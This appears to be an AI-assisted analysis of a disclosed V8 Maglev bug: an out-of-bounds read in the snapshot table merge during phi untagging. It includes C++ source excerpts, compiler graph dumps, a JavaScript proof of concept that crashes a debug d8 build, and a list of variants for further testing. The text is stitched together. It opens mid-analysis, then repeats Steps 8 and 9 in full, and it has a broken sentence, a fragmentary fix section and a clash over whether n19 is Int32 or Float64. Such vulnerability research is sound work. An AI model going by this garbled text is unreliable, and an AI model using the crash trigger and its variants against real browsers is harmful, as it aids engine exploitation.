Step 8: look up the cached tagging and read out of bounds

EnsurePhiTagged() first tries to reuse an existing tagged conversion for the phi:

C++
ValueNode* MaglevPhiRepresentationSelector::EnsurePhiTagged(
    Phi* phi,     // n19
    BasicBlock* block,
    NewNodePosition pos,
    const ProcessingState* state,
    std::optional<int> predecessor_index    // 2
  ) {
  ...

  // Try to find an existing Tagged conversion for {phi} in {phi_taggings_}.
  if (phi->has_key()) {
    if (predecessor_index.has_value()) {    // 2
      if (ValueNode* tagging = phi_taggings_.GetPredecessorValue(    // <==
              phi->key(), predecessor_index.value())) {
        return tagging;
      }
    } else {
      if (ValueNode* tagging = phi_taggings_.Get(phi->key())) {
        return tagging;
      }
    }
  }
  ...
}

The lookup goes to GetPredecessorValue():

C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  ...
  const Value& GetPredecessorValue(Key key, int predecessor_index) {
    if (key.entry_->merge_offset == kNoMergeOffset)  return Get(key);
    return merge_values_[key.entry_->merge_offset + predecessor_index];
  }
}

This is where the out of bounds access happens. RecordMergeValue() inserted two elements into merge_values_, but the lookup uses key.entry_->merge_offset=0 and predecessor_index = 2, so it reads merge_values_[2]. The report states that this out of bounds range might lead to the construction of an incorrect Maglev Graph during phi untagging, that this is a complex vulnerability, and that the researcher is not sure whether it can be exploited.

Step 9: reproduce the crash

The proof of concept is given as poc.js:

JavaScript
let use_v3;
let obj = {};

function f1() {

    // Create a phi node and trigger the maglev untagged optimization
    let v3 = 5;
    for (let i = 0; i < 5; i++) {
        v3--;
    }
    use_v3 = v3;    // Prevent v3 from being deleted

    let v15 = 1.2;

    // The try statement and the catch statement each have a path that leads to do{...}while()
    try {
        Reflect.apply();    // Used to throw an exception
    } catch(e) {
    }

    // The BasicBlock corresponding to do{...}while() has three incoming edges:
    // the try statement, the catch statement, and the loop's back edge
    do {
        obj[v15] = 1;   // tagged use of v3
        v15 = v3;
        for (let i40 = 100; i40; --i40) {
        }
    } while (v3);
}

%PrepareFunctionForOptimization(f1);
f1();
f1();
%OptimizeMaglevOnNextCall(f1);
f1();

The counted loop creates the phi n19 and triggers the untagged optimisation. Assigning v3 to the outer use_v3 prevents it from being deleted. The try block calls Reflect.apply() with no arguments so that it throws, giving the catch path. Both the try path and the catch path lead into the do ... while body, and the loop back edge is the third edge, which is what produces the three input phi n56. The store obj[v15] = 1 is the tagged use that makes ProcessPhi() leave n56 tagged.

The reproduction is run with a debug build of V8:

Shell
./d8 \
    --allow-natives-syntax \
    ./poc.js

The resulting crash is:

Text
#
# Fatal error in ../../src/zone/zone-containers.h, line 247
# Debug check failed: pos < size() (2 vs. 2).
#

Root cause

The SnapshotTable merge logic sizes merge_values_ by the number of predecessors that are merged, which for a loop block excludes the back edge. For a loop block, PreparePhiTaggings() deliberately skips the back edge, so only the non-back-edge predecessors are merged. In this case two predecessors, B5 and B6, are merged and two slots are reserved.

Later, EnsurePhiInputsTagged() iterates over all inputs of the phi, including the input that corresponds to the back edge, and passes that input's position as predecessor_index. For n56 the third input is n19, so the index is 2. GetPredecessorValue() then indexes merge_values_ with merge_offset + predecessor_index, which is 2, while the array only has two elements at indices 0 and 1. The debug build catches this with the zone container bounds check; The report says the out of bounds range might lead to the construction of an incorrect Maglev Graph, and that it is not sure whether the bug can be exploited.

The mismatch is between the count used when reserving slots (non-back-edge predecessors) and the index used when reading (the phi input position, which includes the back-edge input). The report does not state whether a fix was applied or what it changed.

Impact

The report describes the issue as an out of bounds memory access in V8. The immediate demonstrated effect is a crash of the engine in a debug build. The researcher states that the out of bounds range might lead to the construction of an incorrect Maglev Graph during phi untagging, and explicitly says that they are not sure whether it can be exploited.

Fix

It only identifies the introducing commit [redacted] and the affected range up to the latest version at the time of writing.

Variants to test

  1. Other loop blocks with a mix of normal predecessors and a back edge, where a phi input corresponding to the back edge is itself a phi that has been untagged. A positive result is the same debug assertion in zone-containers.h with pos equal to or greater than size().
  2. Phis with more than three inputs, for example a loop body reached from several try/catch paths plus the back edge, to see whether larger indices reach further past the reserved slots. A positive result is a crash or, in a release build, a miscompiled graph.
  3. Different input orderings, placing the untagged phi at input 0 or 1 rather than at the last position, to check whether the index still exceeds the merged predecessor count. A positive result is the same out of bounds read with a different index.
  4. Nested loops where the inner loop's back edge is skipped and the outer phi refers to an inner phi. A positive result is the same assertion or an incorrect optimisation decision visible with --trace-maglev-phi-untagging.
  5. Running the same proof of concept on a release build of d8 with Maglev enabled, to observe whether the out of bounds read produces a wrong graph rather than a debug check. A positive result would be a behavioural difference between optimised and unoptimised execution, which the original report does not claim to have achieved.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

A security researcher found a bug in V8, the JavaScript engine that Chrome uses to run the JavaScript code on web pages. V8 is also available as a standalone program called d8, which developers use to test the engine without a browser around it. The bug lives in a part of V8 called Maglev, a compiler that translates JavaScript into faster machine code while a program is running.

The bug is an out of bounds memory access. In plain terms, a program keeps a list of items in memory and remembers how long the list is. An out of bounds access means the program asks for an item at a position that is past the end of the list, like asking for the eleventh item in a list of ten. Sometimes that position happens to hold something harmless; sometimes it holds something else entirely, and the program then behaves in a way nobody intended. The report describes the weakness as an out of bounds memory access. (the Chrome Vulnerability Reward Program, which pays people for reporting security bugs). The reporter is credited as 303f06e3, and the report was disclosed on 2024-12-18.

To understand the bug you need a little background on how a compiler like Maglev works. When JavaScript runs, values such as numbers can be stored in different ways. The simplest, most general way is called tagged: the value carries a small label saying what kind of thing it is (a number, an object, and so on). That is flexible but slow, because every operation has to check the label first. A compiler can do better if it can prove that a particular value is always, say, a 32-bit integer (Int32) or a floating point number (Float64). Then it can store the value in a compact machine form and skip the checks. The process of switching a value from the general tagged form to a specific machine form is called untagging.

Maglev first turns the JavaScript function into a graph: a diagram of small steps (nodes) connected by arrows, grouped into blocks. A block is a straight run of steps with one entry and one exit. A phi node is a special node that sits where two or more paths meet and says "the value here is whichever version arrived from the path we came from". If a block can be reached from several places, a phi node picks the right incoming value for the path that was actually taken.

While optimising, Maglev keeps a record of which phi node has been converted to which representation. That record is a SnapshotTable: a table of snapshots, where each snapshot is a saved state of the table at a point in the program, linked to its parent snapshot so older states can be recovered. When a block has several incoming paths (predecessors), the table merges the values from those predecessors. The bug is in that merging: a value is written into a slot sized for the number of predecessors that were merged, but later read using a predecessor index that can be larger than that count.

The report does not describe any web page, URL, HTTP request or user interaction. The whole analysis is at the level of the compiler's internal graph and the C++ source code that implements it. The report gives only a range of V8 commits.

Setting up

The researcher worked with a debug build of V8 and the d8 shell. A debug build is a version of the program compiled with extra checks switched on, so that mistakes are caught loudly instead of silently producing wrong results. The reproduction needs native syntax, which is a set of special commands (starting with %) that let a test script talk directly to the engine, for example to force optimisation. Because those commands are normally disabled, the shell must be started with --allow-natives-syntax.

The report also mentions a tracing flag, --trace-maglev-phi-untagging, which makes the engine print its decisions about untagging individual phi nodes. Tracing means asking a program to print a running commentary of what it is doing, which is useful for understanding why it made a particular choice.

The report gives the affected version range as:

Text
V8: from commit [redacted] to the latest version.

This line says that every V8 version from the commit with the identifier [redacted] up to the newest one at the time of writing contains the bug. A commit is a saved change to the source code, identified by a long hexadecimal string; think of it as a version number for one edit.

A bisect is a technique for finding the exact change that introduced a bug: you test versions from different points in history, halving the range each time, until only one change is left. The bisect identified [redacted] as the commit that introduced the vulnerability. The researcher notes that this was on 5/8/2023, at a time when Maglev was not even enabled by default, and expresses surprise that the bug survived for so long.

No accounts, roles or network access are involved. The only precondition is that the function is optimised by Maglev, which the proof of concept forces with %OptimizeMaglevOnNextCall.

Finding it

The researcher starts from the Maglev graph that the compiler builds for a small function. The function contains three ingredients:

  1. A counted loop that decrements a variable (for (let i = 0; i < 5; i++) { v3--; }).
  2. A try/catch where the try body throws an exception. A try block is a section of code that might fail; if it does, control jumps to the matching catch block instead of stopping the program.
  3. A do ... while loop whose body performs a tagged store (writing a value into an object property, which needs the general tagged form) and contains an empty inner loop.

The key structural property is that the basic block for the do ... while body, called B7, has three incoming edges: one from the block after the try (B5), one from the exception handler (B6), and one from the loop back edge (B11). A back edge is the arrow that loops back to the start of the loop body, so the loop can run again.

The graph the report shows, with the researcher's annotations tying each part to the JavaScript source, is reproduced below exactly as given:

Text
After graph building
    ...
    Block b2
     14: ReduceInterruptBudgetForLoop(13)
         ↳ lazy @22 (4 live vars)
     16: Jump b3
      │  with gap moves:
      │    - n17:(x) → 19: φᵀ r0 (x)
      │    - n18:(x) → 20: φᵀ r3 (x)
      ▼
╭──►Block b3 peeled (effects:)    // for (let i = 0; i < 5; i++) {
│    19: φᵀ r0 (n17, n30) (compressed) → (x), 21 uses
│    20: φᵀ r3 (n18, n31) (compressed) → (x), 2 uses
│    21: CheckedSmiUntag [n20:(x)] → (x), 3 uses
│    22: Int32Compare(LessThan) [n21:(x), n10:(x)] → (x), 0 uses 🪦
│╭───23: BranchIfInt32Compare(LessThan) [n21:(x), n10:(x)] b4 b5
││    ↓
││  Block b4     // loop body
││   25: CheckedSmiUntag [n19:(x)] → (x), 1 uses
││   26: Int32DecrementWithOverflow [n25:(x)] → (x), 2 uses // v3--
││   27: Int32IncrementWithOverflow [n21:(x)] → (x), 2 uses
││   28: ReduceInterruptBudgetForLoop(13)
││   30: Int32ToNumber [n26:(x)] → (x), 1 uses
││   31: Int32ToNumber [n27:(x)] → (x), 1 uses
╰──◄─29: JumpLoop b3
 │       with gap moves:
 │         - n30:(x) → 19: φᵀ r0 (x)
 │         - n31:(x) → 20: φᵀ r3 (x)
 │
 ╰─►Block b5
        // use_v3 = v3;
     32: LoadTaggedFieldForContextSlot(0x14, compressed) [n3:(x)] → (x), 1 uses
     33: ThrowReferenceErrorIfHole [n32:(x)]
     34: CheckSmi [n19:(x)]
     35: StoreTaggedFieldNoWriteBarrier(0x14) [n3:(x), n19:(x)]
        // Reflect.apply();
     40: 🐢 CallKnownJSFunction(0x09b10025d6a9 <SharedFunctionInfo apply>) [n38:(x), n39:(x), n37:(x), n4:(x)] → (x), 0 uses, but required
╭────41: Jump b7
│        with gap moves:
│          - n36:(x) → 56: φᵀ r1 (x)
│
│   Block b6 (exception handler)
│    42: φᵀₑ <accumulator> (compressed) → (x), 1 uses
│    ...
│    55: Jump b7
│     │  with gap moves:
│     │    - n36:(x) → 56: φᵀ r1 (x)
│     ▼
╰┬─►Block b7 (effects: ua)    // the body of the do-while loop
 │   56: φᵀ r1 (n36, n36, n19) (compressed) → (x), 1 uses     // This phi node represents v15 and v3
 │   58: 🐢 CallBuiltin(KeyedStoreIC_Megamorphic) [n57:(x), n56:(x), n18:(x), n3:(x)] → (x), 0 uses, but required
 │   61: ReduceInterruptBudgetForLoop(7)
 │   62: Jump b8
 │    │  with gap moves:
 │    │    - n63:(x) → 64: φᵀ r2 (x)
 │    ▼
 │╭►Block b8 peeled (effects:)    // empty loop: for (let i40 = 100; i40; --i40) {}
 ││  64: φᵀ r2 (n63, n70) (compressed) → (x), 3 uses
 ││╭──65: BranchIfToBooleanTrue [n64:(x)] b9 b10
 │││   ↓
 │││ Block b9
 │││  66: CheckedSmiUntag [n64:(x)] → (x), 1 uses
 │││  67: Int32DecrementWithOverflow [n66:(x)] → (x), 2 uses
 │││  68: ReduceInterruptBudgetForLoop(7)
 │╰─◄─69: JumpLoop b8
 │ │      with gap moves:
 │ │        - n70:(x) → 64: φᵀ r2 (x)
 │ │
 │ ╰►Block b10
 │╭───71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11    // Determine whether the do-while loop should continue
 ││    ↓
 ││  Block b11
 ││   72: ReduceInterruptBudgetForLoop(27)
 ╰──◄─73: JumpLoop b7    // backedge for do-while loop
  │       with gap moves:
  │         - n19:(x) → 56: φᵀ r1 (x)
  │
  ╰─►Block b12
    ...

This block is a diagram of the compiler's internal plan, not code you would write. Reading it line by line:

  • Block b2 and Block b3 are named sections of the plan. The comment // for (let i = 0; i < 5; i++) { marks that b3 is the start of the counted loop.
  • 19: φᵀ r0 (n17, n30) is a phi node numbered 19. The φ symbol means phi, and the ᵀ marks it as tagged. It takes two inputs, n17 and n30, which are the values arriving from before the loop and from the loop's back edge.
  • 21: CheckedSmiUntag [n20:(x)] is a step that checks a value is a small integer (a Smi) and converts it to a machine integer. Checked means the step will bail out if the check fails.
  • 22: Int32Compare(LessThan) compares two 32-bit integers. The 🪦 marker means the result is not used anywhere, so the step is effectively dead.
  • 23: BranchIfInt32Compare(LessThan) ... b4 b5 is the decision point: if the comparison is true, go to block b4 (the loop body); otherwise go to b5 (after the loop).
  • 26: Int32DecrementWithOverflow is the v3-- operation, done on a machine integer with an overflow check.
  • 29: JumpLoop b3 is the back edge of the counted loop, jumping back to b3.
  • Block b5 contains the use_v3 = v3; store and the Reflect.apply(); call. Reflect.apply is a built-in JavaScript function that calls another function; here it is called with no arguments so that it throws an exception.
  • Block b6 (exception handler) is the catch path. The ... stands for steps the report does not show.
  • Block b7 is the body of the do ... while loop. The line 56: φᵀ r1 (n36, n36, n19) is the phi node the researcher singles out: it has three inputs, n36, n36 and n19, and the comment says it represents both v15 and v3 in the source.
  • 58: CallBuiltin(KeyedStoreIC_Megamorphic) is the store obj[v15] = 1, which needs the general tagged form of the value.
  • Block b8 is the empty inner loop for (let i40 = 100; i40; --i40) {}.
  • Block b10 contains 71: BranchIfReferenceEqual [n19:(x), n8:(x)] b12 b11, the decision whether the do ... while loop should continue.
  • Block b11 contains 73: JumpLoop b7, the back edge of the do ... while loop.

The same graph is summarised as a control flow graph, which is a map of which block can lead to which other block:

Text
    B3 <--+    // for (let i = 0; i < 5; i++) { ... }
    |\    |
    | +-->B4
    |
    V
    B5        B6 (exception handler)    // try-catch
    |         |
    +---------+
        |
        V
   +--> B7    // do { ... }while();
   |    |
   |    V
   |    B8<---+    // for (let i40 = 100; i40; --i40) { }
   |    |\    |
   |    | +->B9
   |    V
   |    B10
   |    |
   |    V
   +----B11

Reading this map: B3 loops back to itself through B4 (the counted loop). After the loop, control reaches B5, and the exception path reaches B6. Both B5 and B6 lead into B7, the do ... while body. Inside B7, control goes to B8, which loops through B9, then to B10, then to B11, and B11 jumps back to B7. So B7 has three ways in: from B5, from B6, and from B11.

The node the researcher singles out is 56: φᵀ r1 (n36, n36, n19) in B7. It is a phi with three inputs, and it represents both v15 and v3 in the source. The third input, n19, is the phi from the counted loop B3, which the untagging pass will convert to Int32.

Exploitation

Step 1: understand how predecessors are collected

The pass processes every basic block through MaglevPhiRepresentationSelector::PreProcessBasicBlock():

C++
BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(
    BasicBlock* block) {
  // Previously processing current_block_, now preparing to handle block
  PreparePhiTaggings(current_block_, block);
  current_block_ = block;

  if (block->has_phi()) {
    auto& phis = *block->phis();

    auto first_retry = phis.begin();
    auto end_retry = first_retry;
    bool any_change = false;

    for (auto it = phis.begin(); it != phis.end(); ++it) {
      Phi* phi = *it;
      switch (ProcessPhi(phi)) {   // Optimizing the type of phi node
        ...
      }
    }
    ...
  }

  return BlockProcessResult::kContinue;
}

This is C++, the language V8 is written in. Line by line:

  • BlockProcessResult MaglevPhiRepresentationSelector::PreProcessBasicBlock(BasicBlock* block) declares a function that takes one block and returns a result. The name says it runs before the block is processed.
  • PreparePhiTaggings(current_block_, block); first prepares the bookkeeping for the new block, using the previously processed block and the new one.
  • current_block_ = block; remembers the new block as the current one.
  • if (block->has_phi()) checks whether the block contains any phi nodes at all.
  • auto& phis = *block->phis(); gets the list of phi nodes in the block.
  • The for loop walks over every phi in the list and calls ProcessPhi(phi) on it, which decides whether that phi can be untagged.
  • return BlockProcessResult::kContinue; tells the caller to carry on with the next block.

The crash happens while this function handles B7. Two helpers matter: PreparePhiTaggings() and ProcessPhi().

Step 2: see which predecessors are merged

PreparePhiTaggings() builds the list of predecessor snapshots that will be merged:

C++
void MaglevPhiRepresentationSelector::PreparePhiTaggings(
    BasicBlock* old_block, const BasicBlock* new_block) {
  ...
  // Clear the predecessor list
  predecessors_.clear();

  if (!new_block->is_merge_block()) {    // If it's not a merge block, this block only has one predecessor
    BasicBlock* pred = new_block->predecessor();    // Get the predecessor of this block
    predecessors_.push_back(pred->snapshot());    // Put it into predecessors_
  } else {    // If it's a merge block, the merge block must have multiple predecessors (such as back edge or merge edge of if)
    int skip_backedge = new_block->is_loop();    // Determine if it is a loop
    for (int i = 0; i < new_block->predecessor_count() - skip_backedge; i++) {
      BasicBlock* pred = new_block->predecessor_at(i);    // Get the predecessor of new_block
      predecessors_.push_back(pred->snapshot());    // Only two elements will be placed in predecessors_
    }
  }
  ...

  // Start a new snapshot based on predecessors_
  phi_taggings_.StartNewSnapshot(base::VectorOf(predecessors_), merge_taggings);
}

Line by line:

  • predecessors_.clear(); empties the list of predecessors from the previous block.
  • if (!new_block->is_merge_block()) handles the simple case: a block with only one way in. It takes that single predecessor and pushes its snapshot onto the list.
  • The else branch handles a merge block, one with several ways in. int skip_backedge = new_block->is_loop(); sets a flag to 1 if the block is a loop, 0 otherwise.
  • The for loop then walks the predecessors, but stops skip_backedge short of the full count. For a loop, that means the back edge is deliberately left out.
  • phi_taggings_.StartNewSnapshot(...) starts a new snapshot from the collected predecessors, merging their values.

B7 has three predecessors, B5, B6 and B11. Because B7 is a loop, the back edge B11 is skipped, so predecessors_ becomes {B5->snapshot(), B6->snapshot()}. The report abbreviates these as S5 and S6. Debugging showed that B6 has no input nodes, so S6 is the same as root_snapshot_, the very first snapshot. At this point the snapshot table looks like this:

Text
    root_snapshot_, S6, log: [0, 0)
            |
           /
          /
         /
       S5, log: [0, 1)

This little diagram shows the chain of snapshots. root_snapshot_ and S6 are the same node, with an empty log (the range [0, 0) contains nothing). S5 hangs below it and has one log entry, the range [0, 1). A log entry records that a particular phi was given a new representation at that point.

Step 3: create the new snapshot

SnapshotTable::StartNewSnapshot() calls two functions:

C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  void StartNewSnapshot(base::Vector<const Snapshot> predecessors,
                        const MergeFun& merge_fun,
                        const ChangeCallback& change_callback = {}) {
    StartNewSnapshot(predecessors, change_callback);
    MergePredecessors(predecessors, merge_fun, change_callback);
  }
}

This is a template, a C++ feature that lets the same code work for different value types. The function takes the list of predecessors, a merge function and an optional callback. It first calls a simpler version of itself to create the new snapshot, then calls MergePredecessors() to fill in the merged values.

The first call finds the nearest common ancestor of {S5, S6}, which is root_snapshot_, and creates S7 with root_snapshot_ as its parent:

Text
    root_snapshot_, S6, log: [0, 0)
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)

A common ancestor is the most recent snapshot that both predecessors share in their history. Here both S5 and S6 descend from root_snapshot_, so that is the common ancestor. The new snapshot S7 is created as a child of it. The word Invaild is a typo in the original for Invalid, meaning the end of the log is not yet fixed.

Step 4: merge the predecessor logs

MergePredecessors() walks the log entries between each predecessor and the common ancestor:

C++
template <class Value, class KeyData>
template <class MergeFun, class ChangeCallback>
void SnapshotTable<Value, KeyData>::MergePredecessors(
    base::Vector<const Snapshot> predecessors, const MergeFun& merge_fun,
    const ChangeCallback& change_callback) {
  ...

  SnapshotData* common_ancestor = current_snapshot_->parent;    // root_snapshot_

  for (uint32_t i = 0; i < predecessor_count; ++i) {
    for (SnapshotData* predecessor = predecessors[i].data_;
         predecessor != common_ancestor; predecessor = predecessor->parent) {
      base::Vector<LogEntry> log_entries = LogEntries(predecessor);
      for (const LogEntry& entry : base::Reversed(log_entries)) {
        RecordMergeValue(entry.table_entry, entry.new_value, i,
                         predecessor_count);
      }
    }
  }
  ...
}

Line by line:

  • SnapshotData* common_ancestor = current_snapshot_->parent; takes the parent of the new snapshot as the common ancestor, which is root_snapshot_ here.
  • The outer for loop runs once per predecessor, with i counting from 0.
  • The inner for loop walks from the predecessor up its parent chain until it reaches the common ancestor. This visits every log entry that happened on that path.
  • base::Reversed(log_entries) walks the entries in reverse order, oldest first.
  • RecordMergeValue(entry.table_entry, entry.new_value, i, predecessor_count); records the value for this entry, passing the predecessor's index i and the total number of predecessors.

For S5 the range [S5, root_snapshot_) contains the single log entry in S5, and RecordMergeValue() is called for it. For S6 the range [S6, root_snapshot_) is empty, so nothing is recorded for the second predecessor.

Text
    root_snapshot_, S6, log: [0, 0)    <== common_ancestor
            |        |
           /          \
          /            \
         /              \
       S5, log: [0, 1)   \
                        S7, log: [1, Invaild)    <== current_snapshot_

This diagram just marks which snapshot is the common ancestor and which is the current one.

Step 5: reserve slots for two predecessors

RecordMergeValue() reserves space in merge_values_ the first time an entry is merged:

C++
template <class Value, class KeyData>
void SnapshotTable<Value, KeyData>::RecordMergeValue(
    TableEntry& entry,
    const Value& value,
    uint32_t predecessor_index,    // 0
    uint32_t predecessor_count    // 2
) {

  if (predecessor_index == entry.last_merged_predecessor) {
    ...
  }

  if (entry.merge_offset == kNoMergeOffset) {
    // Reserve predecessor_count elements in merge_values_
    entry.merge_offset = static_cast<uint32_t>(merge_values_.size());
    merging_entries_.push_back(&entry);
    merge_values_.insert(merge_values_.end(), predecessor_count, entry.value);
  }

  merge_values_[entry.merge_offset + predecessor_index] = value;
  entry.last_merged_predecessor = predecessor_index;
}

Line by line:

  • The function takes a table entry, the new value, the index of the predecessor being merged, and the total number of predecessors. The comments show that in this case the index is 0 and the count is 2.
  • The first if is a shortcut for when the same predecessor is merged twice in a row.
  • if (entry.merge_offset == kNoMergeOffset) checks whether this entry has never been merged before. kNoMergeOffset is a special marker meaning "no slot reserved yet".
  • entry.merge_offset = static_cast<uint32_t>(merge_values_.size()); records where in the array the slots for this entry begin.
  • merge_values_.insert(merge_values_.end(), predecessor_count, entry.value); adds predecessor_count copies of the value to the end of the array. This is the crucial line: it reserves exactly as many slots as there are predecessors being merged.
  • merge_values_[entry.merge_offset + predecessor_index] = value; then writes the actual value into the slot for this predecessor.
  • entry.last_merged_predecessor = predecessor_index; remembers which predecessor was merged last.

When the S5 log entry is processed, predecessor_index is 0 and predecessor_count is 2, so merge_values_.insert() inserts two slots. The report stresses this point: the array is sized for the two merged predecessors, not for the three incoming edges of B7.

Step 6: process the phi and fall back to tagged

ProcessPhi() then handles 56: φᵀ r1 (n36, n36, n19). With --trace-maglev-phi-untagging the researcher observed that n19 is untagged to Int32 before n56 is considered:

Text
Considering for untagging: n19
  + use_reprs  : {Int32}
  + input_reprs: {Int32}
  + intersection reprs: {Int32}
  => Untagging to Int32
    @ Input 0 (n17): Making Int32 instead of Smi
    @ Input 1 (n30): Bypassing conversion
...

Considering for untagging: n56
  + use_reprs  : {Tagged}
  + input_reprs: {Int32, Float64}
  => Leaving tagged [incompatible uses]

This trace is the compiler talking to itself. For n19 it says the uses want Int32, the inputs are Int32, so it decides to untag to Int32, converting input 0 and bypassing a conversion on input 1. For n56 it says the uses want Tagged but the inputs are Int32 and Float64, which do not match, so it leaves the node tagged.

The relevant part of ProcessPhi() is:

C++
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
  ...
  ValueRepresentationSet input_reprs;
  ...
  bool has_tagged_phi_input = false;
  for (int i = 0; i < node->input_count(); i++) {
    ValueNode* input = node->input(i).node();
    if (input->Is<SmiConstant>()) {
      ...
    } else if (Constant* constant = input->TryCast<Constant>()) {
      ...
    } else if (input->properties().is_conversion()) {
      ...
    } else if (Phi* input_phi = input->TryCast<Phi>()) {
      ...
    } else {
      ...
      // If the input is tagged, and it is not required to perform tagging operations to become tagged
      // Then we will not perform hosit operations, nor will we carry out untag optimizations
      input_reprs.RemoveAll();
      break;
    }
  }

  // Get the usage information of phi
  UseRepresentationSet use_reprs;
  if (node->is_loop_phi() && !node->get_same_loop_uses_repr_hints().empty()) {
    // {node} is a loop phi that has uses inside the loop; we will tag/untag
    // based on those uses, ignoring uses after the loop.
    use_reprs = node->get_same_loop_uses_repr_hints();
  } else {
    use_reprs = node->get_uses_repr_hints();
  }
  ...

  if (use_reprs.contains(UseRepresentation::kTagged) ||
      use_reprs.contains(UseRepresentation::kUint32) || use_reprs.empty()) {
    // For phi nodes used as tagged types, we will not perform untagged operations
    TRACE_UNTAGGING("  => Leaving tagged [incompatible uses]");
    EnsurePhiInputsTagged(node);
    return default_result;
  }
  ...
}

Line by line:

  • The function takes one phi node and returns a result saying whether it changed anything.
  • ValueRepresentationSet input_reprs; declares the set of representations found among the phi's inputs.
  • The for loop walks every input. For each input it checks, in order: is it a small integer constant, is it any constant, is it a conversion from another representation, is it itself a phi. If none of those match, it clears the set and stops, because the input is a general tagged value that cannot be untagged.
  • UseRepresentationSet use_reprs; declares the set of representations the phi's value is used as. The if picks the uses inside the loop for a loop phi, otherwise all uses.
  • The final if checks whether the value is used as tagged, as an unsigned 32-bit integer, or not used at all. If so, it prints the trace line, calls EnsurePhiInputsTagged(node) to make sure every input is tagged, and returns without untagging.

The pass computes two sets. input_reprs describes the representations of the phi's inputs: n36 is Int32 and n19 is a phi that has been optimised to Float64, so input_reprs={Int32, Float64}. use_reprs describes how the phi's value is used; here n56 is only used as a tagged value. Because the use is tagged, ProcessPhi() gives up on untagging this node, calls EnsurePhiInputsTagged() to make sure every input is tagged, and returns.

Step 7: tag the input phi, using the wrong index

EnsurePhiInputsTagged() walks the inputs and tags any input that is itself a phi:

C++
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  for (int i = 0; i < phi->input_count(); i++) {    // Traverse all inputs of Phi
    ValueNode* input = phi->input(i).node();    // Get the input node
    if (Phi* phi_input = input->TryCast<Phi>()) {    // If it is a phi node
      phi->change_input(    // Perform tagging operation for this input phi node
          i, EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                             NewNodePosition::kEndOfBlock, nullptr, i));
    } else {
      ...
    }
  }
}

Line by line:

  • The function takes one phi and loops over all its inputs, with i counting from 0.
  • ValueNode* input = phi->input(i).node(); gets the node for input i.
  • if (Phi* phi_input = input->TryCast<Phi>()) checks whether that input is itself a phi.
  • If it is, phi->change_input(i, EnsurePhiTagged(...)) replaces input i with a tagged version of the input phi. The call passes i as the predecessor_index argument.

n19 is the third input of n56, so the predecessor_index passed to EnsurePhiTagged() is 2. The report notes this explicitly.

Step 8: look up the cached tagging and read out of bounds

EnsurePhiTagged() first tries to reuse an existing tagged conversion for the phi:

C++
ValueNode* MaglevPhiRepresentationSelector::EnsurePhiTagged(
    Phi* phi,     // n19
    BasicBlock* block,
    NewNodePosition pos,
    const ProcessingState* state,
    std::optional<int> predecessor_index    // 2
  ) {
  ...

  // Try to find an existing Tagged conversion for {phi} in {phi_taggings_}.
  if (phi->has_key()) {
    if (predecessor_index.has_value()) {    // 2
      if (ValueNode* tagging = phi_taggings_.GetPredecessorValue(    // <==
              phi->key(), predecessor_index.value())) {
        return tagging;
      }
    } else {
      if (ValueNode* tagging = phi_taggings_.Get(phi->key())) {
        return tagging;
      }
    }
  }
  ...
}

Line by line:

  • The function takes the phi to tag, the block it is in, a position, an optional processing state, and an optional predecessor index. The comment shows the index is 2 here.
  • if (phi->has_key()) checks whether the phi has a key, which is the identifier used to look it up in the table.
  • if (predecessor_index.has_value()) checks whether a predecessor index was supplied. If so, it calls phi_taggings_.GetPredecessorValue(phi->key(), predecessor_index.value()) to look up the tagged version for that predecessor. If a value is found, it is returned straight away.
  • The else branch handles the case with no predecessor index, using a simpler lookup.

The lookup goes to GetPredecessorValue():

C++
template <class Value, class KeyData = NoKeyData>
class SnapshotTable {
  ...
  const Value& GetPredecessorValue(Key key, int predecessor_index) {
    if (key.entry_->merge_offset == kNoMergeOffset)  return Get(key);
    return merge_values_[key.entry_->merge_offset + predecessor_index];
  }
}

Line by line:

  • The function takes a key and a predecessor index.
  • If the entry has never been merged, it falls back to the simple lookup Get(key).
  • Otherwise it returns merge_values_[key.entry_->merge_offset + predecessor_index], which is the slot for that predecessor.

This is where the out of bounds access happens. RecordMergeValue() inserted two elements into merge_values_, but the lookup uses key.entry_->merge_offset=0 and predecessor_index = 2, so it reads merge_values_[2]. The array only has slots at indices 0 and 1, so index 2 is one past the end. The report states that this out of bounds range might lead to the construction of an incorrect Maglev Graph during phi untagging, that this is a complex vulnerability, and that the researcher is not sure whether it can be exploited.

Step 9: reproduce the crash

The proof of concept is given as poc.js:

JavaScript
let use_v3;
let obj = {};

function f1() {

    // Create a phi node and trigger the maglev untagged optimization
    let v3 = 5;
    for (let i = 0; i < 5; i++) {
        v3--;
    }
    use_v3 = v3;    // Prevent v3 from being deleted

    let v15 = 1.2;

    // The try statement and the catch statement each have a path that leads to do{...}while()
    try {
        Reflect.apply();    // Used to throw an exception
    } catch(e) {
    }

    // The BasicBlock corresponding to do{...}while() has three incoming edges:
    // the try statement, the catch statement, and the loop's back edge
    do {
        obj[v15] = 1;   // tagged use of v3
        v15 = v3;
        for (let i40 = 100; i40; --i40) {
        }
    } while (v3);
}

%PrepareFunctionForOptimization(f1);
f1();
f1();
%OptimizeMaglevOnNextCall(f1);
f1();

Line by line:

  • let use_v3; and let obj = {}; declare a variable and an empty object at the top level, so they survive between calls.
  • function f1() { starts the function that will be optimised.
  • let v3 = 5; sets up a number that the counted loop will decrement.
  • for (let i = 0; i < 5; i++) { v3--; } is the counted loop. It creates the phi n19 and triggers the untagged optimisation.
  • use_v3 = v3; stores the result outside the function, which prevents the compiler from deleting v3 as unused.
  • let v15 = 1.2; sets up a floating point number.
  • try { Reflect.apply(); } catch(e) {} calls Reflect.apply() with no arguments so that it throws, and catches the exception. This gives the catch path into the do ... while body.
  • do { ... } while (v3); is the loop whose body has three ways in: the try path, the catch path, and the loop back edge. That is what produces the three input phi n56.
  • obj[v15] = 1; is the tagged use that makes ProcessPhi() leave n56 tagged.
  • v15 = v3; updates the loop variable.
